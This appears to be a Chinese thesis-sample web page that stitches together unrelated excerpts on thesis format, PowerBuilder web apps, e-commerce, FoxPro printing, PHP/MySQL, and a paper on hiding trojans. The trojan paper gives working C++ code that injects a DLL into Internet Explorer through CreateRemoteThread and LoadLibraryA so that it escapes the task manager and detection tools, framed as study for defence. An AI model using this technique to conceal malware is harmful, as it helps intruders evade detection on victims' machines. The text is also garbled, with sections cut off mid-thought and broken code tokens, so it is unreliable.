时间:2023-01-16 20:09:40
序论:写作是一种深度的自我表达。它要求我们深入探索自己的思想和情感,挖掘那些隐藏在内心深处的真相,好投稿为您带来了七篇计算机毕业论文范文,愿它们成为您写作过程中的灵感催化剂,助力您的创作。
我们这篇文章分部分进行讲解:
一、本科学生毕业论文的目的和内容
二、管理信息系统开发的主要步骤
三、计算机专业所选开发工具和注意事项
四、计算机毕业论文撰写格式
五、毕业论文中正文的写法和注意事项
六、结束语的写法
七、参考文献列出毕业论文设计中主要参考书籍
八、附录的写法
九、论文评分的能用标准
一、本科学生毕业论文的目的和内容
本科学生在毕业之前必须做毕业论文,其目的是通过毕业论文,让学生独立开发一个具体的计算机应用项目,系统地进行分析总结和运用学过的书本知识,以巩固本科阶段所学的专业理论知识,并给予一个理论联系实际的机会。
为了便于实施和管理,规定网络学院计算机相关专业本科学生毕业论文主要以开发一个管理信息系统为毕业实践的课题,每个毕业生通过独立开发一个具体的管理信息系统,掌握开发一个比整完整的管理信息系统的主要步骤,并从中获得一定的实际经验。
二、管理信息系统开发的主要步骤
管理信息系统开发的主要步骤及各步骤的基本内容如下:
1、系统分析
主要工作内容有以下几项:确定系统目标,系统可行性分析
2、系统调查
系统的组织结构、职能结构和业务流程分析。其中系统的组织结构图应画成树状结构。
系统业务流程分析、业务流程图
3、数据流程分析
数据流程图(系统关联图、顶层图、一层数据流图、二层数据流图)、数据词典、代码设计
4、管理信息系统的功能设计
系统的功能结构图,每个功能模块的主要工作内容、输入输出要求等。
系统控制结构图
5、数据库设计
概念模型设计:实体、实体间的联系、E-R图
关系模式设计:E—R图->关系模式的转换规则
关系模式
数据库表设计:数据库表结构
6、系统物理配置方案
7、人机界面设计
8、模块处理概述
9、系统测试和调试:测试计划、测试用例、测试结果
三、开发工具和注意事项
1、开发工具
开发工具可由学生任选。如Delphi、FoxPro、VB、Access等,这些工具的使用全由学生自学。
2、注意事项
(1)项目开发步骤的完整性(系统需求分析、概念设计、物理设计、系统环境和配置、系统实施以及系统测试和调试等)
(2)每个开发步骤所得结果的正确性(业务流程图、数据流程图、数据词典、HIPO图、E-R图、关系模式、人机界面设计及模块处理等的详细分析和说明)
(3)论文整体结构的完整性(前言、各个具体步骤的叙述和分析、结语、参考文献和有关附录)
(4)提供软件系统的可执行盘片及操作说明书
(5)参考资料(列出必要的参考资料)
四、毕业论文撰写格式
注意:1.每个步骤都要有文字说明和论述2.各个步骤必须是有机的组合,不可以支离破碎不成一体。
一、封面
二、摘要用约200-400字简要介绍一下论文中阐述的主要内容及创新点
三、主题词用一、二个词点明论文所述内容的性质。(二和三要在同一页面上)
四、目录一般采用三级目录结构。例如第三章系统设计3.1系统概念结构3.1.1概念模型
五、正文
第一章前言
简要介绍:组织机构概况、项目开发背景、信息系统目标、开发方法概述、项目开发计划等。
第二章系统需求分析
本章应包含:
(1)现行业务系统描述
包括业务流程分析,给出业务流程图。
具体要求:业务流程图必须有文字说明,图要完整、一定要有业务传递的流程。
(2)现行系统存在的主要问题分析
指出薄弱环节、指出要解决的问题的实质,确保新系统更好,指出关键的成功因素。
(3)提出可能的解决方案
(4)可行性分析和抉择
包括技术可行性、经济可行性、营运可行性分析和抉择。
第三章新系统逻辑方案
针对用户需求,全面、系统、准确、详细地描述新系统应具备的功能。
(1)数据流程分析
最主要的是给出数据流程图,要求满足以下条件:
A.数据流程图必须包括系统关联图、系统顶层图、第一层分解图和第二层分解图组成。B.系统关联图确定了从外部项到系统的数据流和从系统向外部项的数据流,这些数据流在其它层次的数据流中不允许减少,也不允许增加。各层次内部的数据流不受关联图的限制。C.数据流应有名字。D.外部项和数据存储之间不得出现未经加工的数据流。E.数据流程图的分解中,必须保持每个分层同其上层加工中的外部项和输入输出流相一致。F.各加工之间一般不应出现未经数据存储的数据流。G.数据存储之间不得出现未经加工的数据流。H.数据存储可以分解。I.若有查询处理,应在数据流程图中表达。J.统计和打印报表不在数据流图中表达。
(2)数据词典描述
可采用图表格式或较紧凑的记录格式描述A、若采用图表格式,可只写出数据流、数据元素、加工、数据存储和外部项各一个表。B、若采用紧凑的记录格式,则应列出全部成分。如数据元素:编号名称存在于数据结构备注E1入库数据F1/F3/F11/F15入库单号日期货号数量E2出库数据F1/F3/F11/F15出库单号日期货号数量C、据流程图中系统顶层图的数据加工都必须详尽写出。
(3)基本加工小说明
可采用结构化语言、数学公式等描述各个基本加工。
第四章系统总体结构设计
(1)软件模块结构设计A、系统软件模块结构图,并由此导出功能分解图及层次式菜单结构。B、系统的模块结构应与数据流程图的顶层图的加工一致。
(2)数据库设计A、应按下列次序阐述各个元素:实体、实体的属性、实体间联系、E-R图、转换规则、关系模式。B、在介绍实体的属性时,不应包括联系属性,联系属性直至关系模式中才出现。C、数据流程图中的每个数据存储可隐含于E-R图中的多个实体。D、E-R图中的实体要与数据流程图中的数据存储相对应。每个实体要指出实体的标识码(主码)。对每个实体或联系应列出其应有的属性(用列举的方法)。E、E-R图中至少要有一个多对多的联系。F、必须严格按照转换规则从E-R图产生数据关系模式集,需要时作必要的优化,并说明理由。G、对于一对一的联系,只应把任一个实体的主码放在另一个实体中作为外码。H、一对多联系也可以产生新的关系模式,如要这样做,必须说明理由。I、多对多联系,或三元联系必须产生新的关系模式。J、关系模式的个数和名字要与E-R图中的实体和联系相一致。K.、每个关系模式中要用下横线标出主码,后随的符号“#”标出外码。L、若有代码对照表可在最后列出,需另加说明。
(3)计算机系统配置方案的选择和设计
给出硬件配置,系统软件配置,网络通信系统配置(可选)等内容。
(4)系统总体安全性、可靠性方案与措施。
第五章系统详细设计
(1)代码设计基本数据项的代码格式。
(2)人机界面设计给出人机界面视图(输入输出接口,屏幕格式设计等)
(3)模块处理过程根据软件环境做不同处理。可采用脚本、程序流程图、结构化的PDL语言等。
第六章实施概况
(1)实施环境和工具的比较选择
(2)编程环境、工具、实现与数据准备概况
(3)系统测试概况主要包括测试计划、测试用例、测试记录。
(4)系统转换方案及实现概况
(5)系统运行与维护概况
六、结束语
(1)系统特色、局限与展望
(2)实施中遇到的挫折、创新、体会与致谢
七、参考文献列出毕业论文设计中主要参考书籍
序号、书名或文章名、作者名、出版社或杂志名、出版日期或杂志期号。
八、附录
(1)列出部分有一定代表性的程序代码段
(2)操作说明书
九、论文评分标准
1、A等
系统正确无误,系统功能完善,设计步骤完整正确,实用性强,有一定的创新性,论文结构严谨,表述流畅。
2、B等
系统基本正确,系统功能基本完善,设计步骤基本完整正确,有一定的实用性,论文结构良好,表述基本流畅。
3、C等
系统有少量错误,系统功能不够完善,设计步骤欠完整,基本上没有实用性,论文结构一般,表述基本清楚。
4、不及格
摘要介绍了几种powerbuiler开发web应用的几种方法,分析其原理和
结构,并给出了用web.pb开发简单的网上应用的实例.
关键词web应用;cgi;分布式应用
abstractthemethodsofdevelopingwebapplicationusingpowerbuilerandthe
structureofthatareintroduced.anexampleofshoppingininternetdevelopedusing
web.pbisgiven.
1引言
随着计算机网络技术的日趋成熟,internet的发展迅速,internet应用开发将是现在和将来信息系统开发的主要技术方向之一。powerbuilder是sybase公司推出的用于企业级应用的开发工具,该工具不仅具有client/server应用的各种先进技术,还提供了基于浏览器/服务器的应用开发模式.
2powerbuilder中的web应用模块
powerbuilder中含有开发web应用的模块,通过这些模块可以连接web服务器与powerbuilder应用.该模块包括以下及部分,web.pb:是几个可以在web服务器上执行的程序,被服务器激活后,调用powerbuilder应用,完成客户端任务和对数据库的事务操作.plug_ins(插入件):包括windowplug_in和datawindowplug_in,此方式可将powerbuilder对象嵌入到页面中,在浏览器端执行powerbuilder应用.windowactivex:此方式与windowplug_in类似,所不同在于该方式可以和html中的javascripts,vbscripts交互.本文主要讨论利用web.pb开发web应用.
3利用web.pb开发web应用
web.pb本身就是一个cgi程序,它提供了从服务器到powerbuilder应用的访问.所以在web.pb之上,可以利用powerbuilder的强大功能开发复杂的web应用,如采用powerbuilder的powerscripts语言环境,数据窗口技术等.powerbuilder的web应用构建前提是分布式应用体系.powerbuilder的客户端应用分布到web服务器上,可将web.pb看作为客户端应用.当客户端应用web.pb被web服务器激活后,调用powerbuilder的服务器应用,执行在服务器应用中定义的方法,实现业务逻辑,如下图所示:
这种模式是真正的“廋”客户机模式,客户端不需要安装其它软件,只安装浏览器软件.所有的事务操作都在服务器端完成,下面将结合实例详细说明:
利用powerbuilder开发一个网上购书应用.对于分布式powerbuilder应用,首先应向客户web.pb指明powerbuilder服务器应用在网络上的位置(location),其应用名,使用文件pbweb.ini来记录服务器应用信息.在此例中,取服务器应用名为tutorial,driver=winsock,application=10099/tcp,location=localhost.
建一个数据库(book_dealing)其中有三个表,分别为:
“book”:b_name,b_no,b_publisher,b_price,b_num
“customer”:c_name,c_tel,c_addr
“dealing”:b_name,c_name,d_num,d_time
建一个数据窗口dw_book,其sql语法为:
select“book”.”b_name”,
“book”.”b_no”,
“book”.”b_publisher”,
“book”.”b_price”,
“book”.”b_num”
from“book”
创建pb服务器应用的用户界面。在窗口w_server上有两个按钮cb_1,cb_2,再定义一个transport类型的实例变量mytransport,cb_1的clicked事件有关程序如下:
..........
mytransport=createtransport
mytransport.driver=“winsock”
mytransport.location=“localhost”
mytransport.application=“10099”
.........
创建一个不可视的用户对象u_internet,定义一个transaction类型的全局变量mytransaction,在该用户对象的constructor事件中定义连接到数据库(book_dealing)的事务对象mytransaction和连接到数据库(webpb)的事务对象sqlca,在该对象的destructor事件中分别取消这两个事务对象。
在u_internet上定义两个函数分别为f_book,f_book_dealing,这两个函数的返回值都为字符类型。在f_book中,利用数据窗口dw_book作数据库查询,再利用数据窗口的属性将查询结果以html形式返回给web.pb,有关程序如下:
stringreturn_html
datastoredd
dd=createdatastore
dd.dataobject=”dw_book”
dd.settransobject(mytransaction)
dd.retrieve()
.....
return_html=return_html+dd.object.datawindow.data.htmltable
......
returnreturn_html
在函数f_dealing中,定义参数分别为:book_name,deal_num,custom_name,deal_time,custom_tel,custom_addr,用来接受form元素传来的信息。再利用powerscripts语言对数据库(book_dealing)进行修改。有关程序如下:
stringreturn_html
…………
connectionusingmytransaction;
insertinto“customer”
(“c_name”,
“c_tel”,
“c_addr”)
values(:custom_name,:custom_tel,:custom_addr);
insertinto“dealing”
(“b_name”,
”d_num”,
”d_time”,
”c_name”)
value(:book_name,:deal_num,:deal_time,:custom_name);
ifmytransaction.sqlcacode>0then
return_html=”定货成功!”
else
return_html=”定货失败!”
endif
………..
returnreturn_html
主页上的“浏览书库”的超连接为:
近几年,电子商务的迅速发展及表现出来对社会经济生活的巨大影响已引起了人们的广泛关注。特别是以美国为代表的经济发达国家,都在大规模地推动电子商务的发展,并以此取代或改造传统的商务活动方式,重组业务流程,降低交易成本,加速流通过程,全面提高企业的市场竞争力和综合国力。从目前全球的发展情况看,电子商务将成为新世纪企业竞争的主要手段,互联网和电子商务的兴起,不仅彻底改变经济增长方式,还将改变世界经济格局和贸易体制。
从总体上看,电子商务可大致分为企业间的(Busines8toBusi-ness)和企业对消费者的业务(BusinesstoConsumer)。我国正处在电子商务的起步阶段,无论从国际发展趋势,还是从我国现实需要出发,发展我国电子商务都要以推进BtoB即企业对企业的业务为重点。面对新的形势,我国企业如不积极跟进会在今后全面国际化的市场竞争中处于被动。
从国际电子商务发展的实践和潮流看,BtoB业务占据绝对的主导地位。在全球电子商务销售额中,BtoB业务高达80%至90%。以美国为例,目前企业间利用互联网从事的商务活动正急剧增加,主要包括:(1)企业与其供应商之间采购事物的协调3(2)物料计划人员与仓储、运输其产品的公司间的业务协调;(3)销、售机构与其产品批发商、零售商之间的协调;(4)客户服务;(5)公司日常运营活动,内部员工的交流等。据美国商业周刊公布的数字,1998年美国企业间的电子商务是企业对消费者个人销售业务的5倍。预计到2000年这一比例将达到10倍,其业务量将占到全美企业间贸易总量的9%,到2005年会进一步扩大到40%左右。
从交易形式看,企业间的网络业务主要有两类,即企业自建网与中介服务网。前者多为产业链条长,业务伙伴多或自身专业性较强的大企业、跨国公司,如飞机、汽车、计算机、办公用品等行业制造商,大型批发、零售企业等,主要用于公司自身的业务和对供应商、销售商的服务。后者则由中介机构建网,主要面向中小企业提品的采购、信息和销售等方面的服务。
从实践效果看,电子商务的应用已使许多企业获益。许多大公司,以“增值链”为核心,实施供应链管理的电子化,成为目前电子商务的应用主体。如,IBM公司从1996年起,实施生产、营销和采购部门的电子通讯,改进生产经营计划,仅一年时间库存周转就加快了40%,产品销售增加了30%,由于有效地利用现有的生产能力,减少投资,增加资金周转,节省引用5000万美元。又如美国通用电器公司启用网上采购系统,自动联系客户,协调业务,下订单,预计二、三年内采购量可达到50亿美元,将为公司节省5—7亿美元的采购费用。
从发展趋势看,今后随着电子商务的扩大,中小企业将成为企业间电子商务活动的主要增长力量。目前正在建设中的美国汽车行业自动交易系统(ANx),准备把世界上所有的供货商和制造商连接起来,这一项目将在2000年启用,届时全美1/5的汽车零部件要通过该网销售,业务量将达到300亿美元,且供应商多为二、三级中小企业。据美国权威机构公布的数字表明,美国企业间的电子商务将进入一个高速增长的阶段,今后5年的年均增长率将达到40%以上,业务量也将成倍增长。
从我国国情和现实条件出发,用电子商务改造传统产业,增强企业的竞争力是我国电子商务发展的重要内容,也是推进我国电子商务起步的现实选择。
网络营销是一种以消费者为导向,强调个人化的营销方式
网络营销最大的特点在于以消费者为主导。消费者将拥有比过去更大的选择自由,他们可根据自己的个性特点和需求在全球范围内寻找满足品,不受地域限制。通过进入感兴趣的的企业网址或虚拟商店,消费者可获取产品的更多的相关信息,使购物更显个性。
这种个性消费的发展将促使企业重新考虑其营销战略以消费者的个性需求作为提品及服务的出发点。但是,要真正实现个性营销还必须解决庞大的促销费用问题。网络营销的出现则为这一难题提供了可行的解决途径。企业的各种销售信息在网络上将以数字化的形式存在,可以以极底的成本发送并能随时根据需要进行修改,庞大的促销费用因而得以节省。企业也可以根据消费者反馈的信息和要求通过自动服务系统提供特别服务。
网络营销具有极强的互动性是实现全程营销的理想工具
传统的传统的营销管理强调4P(产品、价格、渠道和促销)组合,现代营销管理则追求4C(顾客、成本、方便和沟通),然而无论那一种观念都必须基于这样一个前提:企业必须实行全程营销,即必须由产品的设计阶段开始就充分考虑消费者的需求和意愿。
遗憾的是,在实际操作中这一点往往难以做到。原因在于消费者与企业之间缺乏合适的沟通渠道或沟通成本太高。消费者一般只能针对现有产品提出建议或批评,对尚处于概念阶段的产品难以涉足。此外,大多数的中小企业也缺乏足够的资本用于了解消费者的各种潜在需求,他们只能凭自身能力或参照市场领导者的策略进行产品开发。
而在网络环境下,这一状况将有所改观。即使是中小企业也可以通过电子布告栏、线上讨论广场和电子邮件等方式,以极底成本在营销的全过程中对消费者进行即时的信息搜索,消费者则有机会对产品从设计到定价(对采用理解价值定价法的企业尤为重要)和服务等一系列问题发表意见。这种双向互动的沟通方式提高了消费者的参与性与积极性,更重要的是它能使、企业的决策有的放矢,从根本上提高消费者满意度。
网络营销能满足消费者对购物方便性的需求,提高消费者的购物效率
现代化的生活节奏已使消费者用于外出在商店购物的时间越来越短。在传统的购物方式中,从商品买卖过程来看,一般需要经过看样棗选择商品棗确定所需购买的商品棗付款结算棗包装商品棗取货(或送货)等一系列过程。这个买卖过程大多数是在售货地点完成的,短则几分钟,长则数个小时,在加上购买为购买商品去购物场所的路途时间、购买后的返途时间及在购买地的逗留时间,无疑是大大延长了商品的买卖过程,使消费者为购买商品而在时间和精力上作出很大的付出。同时,拥挤的交通和日益扩大的店面更延长了消费者购物所耗费的时间和精力。然而,在现代社会,随着生活节奏的加快,使得人们越来越珍惜闲暇时间,越来越希望在闲暇时间内从事一些有益于身心的活动,并充分地享受生活。在这中情况下,人们用于外出购物的时间越来越少。
关键字:报表设计器
1.如何打印指定的页
通常情况下,VFP默认打印当前报表的全部内容,这给使用者带来不便,那么如何实现让系统打印指定范围的内容呢?其实很简单,只需在报表打印语句中加上关于打印范围限制的关键字短语RANGE即可。如:打印报表XXX.FRX的第2至第5页,可使用如下命令
REPORTFORMXXX.FRXRANGE2,5TOPRINTER
为增强该语句功能的灵活性,可引入表示欲打印范围的两个参数x和y,分别代表打印的起始和终止页码,将打印命令改写为
REPORTFORMXXX.FRXRANGEx,yTOPRINTER
2.如何计算总页数,以实现每页均打印“第x页共y页”字样
VFP系统变量_PAGENO可提供当前的打印页号,但却没有能返回总页数的系统变量,若要实现在报表的每一页均打印“第x页共y页”字样,打印前可根据细节区所打印的记录条数,进行计算,然后再打印,实现方法如下:
PUBLICmPAGE
SELEXXX&&XXX为欲打印报表的数据源
XX=35&&XX为每页报表细节区所打印的记录条数
mPAGE=IIF(MOD(RECC(),XX)=0,RECC()/XX,INT(RECC()/XX)+1)&&mPAGE为报表总页数
在报表页脚注(或其他合适位置)添加如下信息即可:
"第"+allt(str(_pageno))+"页共"+allt(str(mPAGE))+"页"
3.如何使计算机打印纸张类型适合于所设计报表
报表在设计时能够正常打印,可是安装到其他计算机或重装系统后,就会出现“XXX带区太大不能放入页中”等提示,而且无法正常退出(尤其是对报表设计时采用自定义纸张的程序),这是为什么呢?现作如下解释:
我们用报表设计器设计的报表打印程序,保存退出后,磁盘上就会出现.FRX和.FRT文件,我们的所有设计均保存在这两个文件中。在VFP中.FRX相当于.DBF表,.FRT相当于.FPT备注型文件,我们用USEXXX.FRX可以象打开.DBF文件一样打开.FRX文件,在.FRX文件中有个Expr备注型字段名,在这个字段名中有如下与打印设置相关的内容(不同设置内容稍有差别):
DRIVER=winspool
DEVICE=EpsonLQ-1600K
OUTPUT=LPT1:
ORIENTATION=0
PAPERSIZE=256
PAPERLENGTH=2800
PAPERWIDTH=2400
DEFAULTSOURCE=8
PRINTQUALITY=180
YRESOLUTION=180
TTOPTION=1
其中:
DEVICE=EpsonLQ-1600K表示系统默认打印机类型为EpsonLQ-1600K
PAPERSIZE=256该值256表示是自定义纸张(若=9表示A4纸张、=13表示B5纸张)
PAPERLENGTH=2800表示报表设计时纸张长度
PAPERWIDTH=2400表示报表设计时纸张宽度
实际打印时之所以会上述提到的问题,是因为在用户环境中或Windows系统重新安装后,系统一般默认的是A4打印纸,与我们设计时保存在.frx文件里的纸张类型不符,因而造成打印出错。为此,笔者编写了如下一段检测纸张类型的代码,这段代码可以帮助我们很好地解决因纸张类型不符所带来的问题。
USExxx.frxIN0ALIASmFrx&&在空闲工作区以mFrx别名打开xxx.frx文件
x=atcline(''''PAPERSIZE'''',mFrx.Expr)&&取得参数PAPERSIZE在Expr字段中的行
mTYPE_1=subs(mline(mFrx.Expr,x),11)&&取得设计时保存的纸张类型
mTYPE_2=allt(str(Prtinfo(2)))&&取得当前打印机默认的纸张类型
x=atcline(''''PAPERLENGTH'''',mFrx.Expr)&&取得纸张长度在Expr字段中的行
mLEN=subs(mline(mFrx.Expr,x),13)&&取得纸张长度
x=atcline(''''PAPERWIDTH'''',mFrx.Expr)&&取得纸张宽度在Expr字段中的行
mWIDTH=subs(mline(mFrx.Expr,x),12)&&取得纸张宽度
usein''''mFrx''''&&关闭xxx.frx文件
ifmTYPE_1=mTYPE_2&&如果相符,则正常打印
reportformxxx.frxtoprinternoconsole
else
Messagebox(''''请设置打印机纸张类型为自定义:长=''''+mLEN+'''',宽=''''+mWIDTH,0+48+0,''''提示'''')
reportformxxx.frxtoprinterprompt
摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。
关键字进程线程木马动态链接库
木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。
本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。
1基本原理
在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
2实现方法
为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
3实施步骤
1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用
OpenProcess()函数打开宿主进程。
2)用VirtualAllocEx()函数分配远程进程地址空间中的
内存。
3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。
4)拷贝到步骤二已经分配的内存中。
5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
6)用CreateRemoteThread()函数在远程进程中创建一个线程。
7)它调用正确的LoadlibraryA()函数。
8)为它传递步骤二中分配的内存地址。
4具体实例
下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//该头文件包涵了进程操作的API函数
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隐藏的DLL文件名
HANDLEhProcessSnap=NULL;//进程快照句柄
HANDLEhRemoteProcess;//远程进程句柄
LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放远程线程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失败返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//获取第一个进程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主进程,以IEXPLORE.EXE为例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
}
else
{
MessageBox(NULL,"取第一个进程失败","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打开远程进程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假设hide.dll是待隐藏的进程
intcb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申请存放文件名的空间
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名写入申请的空间
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//获取动态链接库函数地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//创建远程线
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//关闭远程线程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//关闭进程快照
}
该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//获取当前进程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
5结束语
进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。
参考文献
关键词PHPMySQLODBC
1.引言
在Internet应用中,将服务器端脚本技术和客户端脚本技术结合起来可以制作出丰富多彩的页面。CGI和ASP是比较流行的服务器端脚本技术。通常CGI在跨平台的开发中扮演着主要角色,可以使用VB、C或Perl等来实现,用它们写的CGI脚本是一个单独的程序,而不是嵌在HTML文档中再通过另一个程序解释替换的,所以它是一种“非嵌入式”的服务器端脚本。另外,每一次修改CGI程序都必须重新将其编译成执行文件,因此,这样的编写方式事实上是比较困难且没有效率。ASP则是嵌入式的服务器端脚本,每一次修改脚本并不需要重新编译成执行文件就可以直接执行,但ASP有一个致命的缺点:不具有跨平台开发能力。目前ASP只能在Windows环境下运行,而无法在Internet上的Unix平台下使用。在这种情况下PHP的问世,在WelCGI的领域里掀起了一场革命。
2.PHP介绍
PHP(PersonalHomePage)是一种跨平台的服务器端嵌入式脚本语言。它最初是RasmusLerdorf于1994年开发的。早期的版本,提供了访客留言本、访客计数器等简单功能。随后,在第二版中增加了对mSQL的支持。自此奠定了PHP在动态网页开发上的影响力,并迅速在Internet上流传开来。截止1999年,已有超过十五万个站点使用PHP。同时,PHP的源代码完全公开,在OpenSource意识抬头的今天,它更是这方面的中流砥柱,随着新函数库的不断加入,使PHP无论在Unix或是Win32的平台上都可以有更多新的功能。如今,PHP已发展至4.0版。在语法方面,PHP混合了C、Java、Perl以及PHP以前版本的优点。它相当于Script与CGI的结合语言,但是其执行将效率却比CGI更好,程序编写也比HTML更便利且更富有弹性,程序的安全性及保密性也比Script好。在函数支持方面,PHP几乎覆盖了Web应用的各个方面,其中最有特色的是数据库函数,使用PHP完成一个含有数据库功能的网页非常简单,而PHP支持的数据库也非常丰富,目前包括:Oracle、Sybase、mSQL、MySQL、Informix等。
3.访问MySQL数据库
MySQL是一个快速、健壮和易用,且支持多线程、多用户的SQL数据库服务器。虽然PHP通过ODBC支持几乎所有的数据库。但对于开发数据驱动的网站而言,选择MySQL应该说是最佳组合,这不仅因为MySQL是免费的,更在于它具有许多同大型数据库相媲美甚至超过它们的优良性能。PHP实现对MySQL数据库的访问有两种方法:
1)利用PHP的数据库函数连接
这里主要用到四个数据库函数:
mysql_connect()建立与MySQL服务器的连接。
mysql_select_db():选择MySQL服务器中的数据库供以后的数据查询操作query处理。mysql_query():送出query字符串以帮助MySQL做相关的处理或执行。
mysql_fetch_row():用来将查询结果result单行移到数组变量中。数组的索引是数字
索引,第一个索引值是0。
2)通过ODBC连接
PHP通过ODBC连接MySQL数据库主要用到四个函数:
Odbc_connect():用来同ODBC数据源建立连接。
Odbc_do():用来在建立连接之后执行数据库查询。
Odbc_result():用于取得当前记录行中某个字段的值。
Odbc_fetch_row():用来把查询结果保存到数组,每个数组元素对应一条记录。
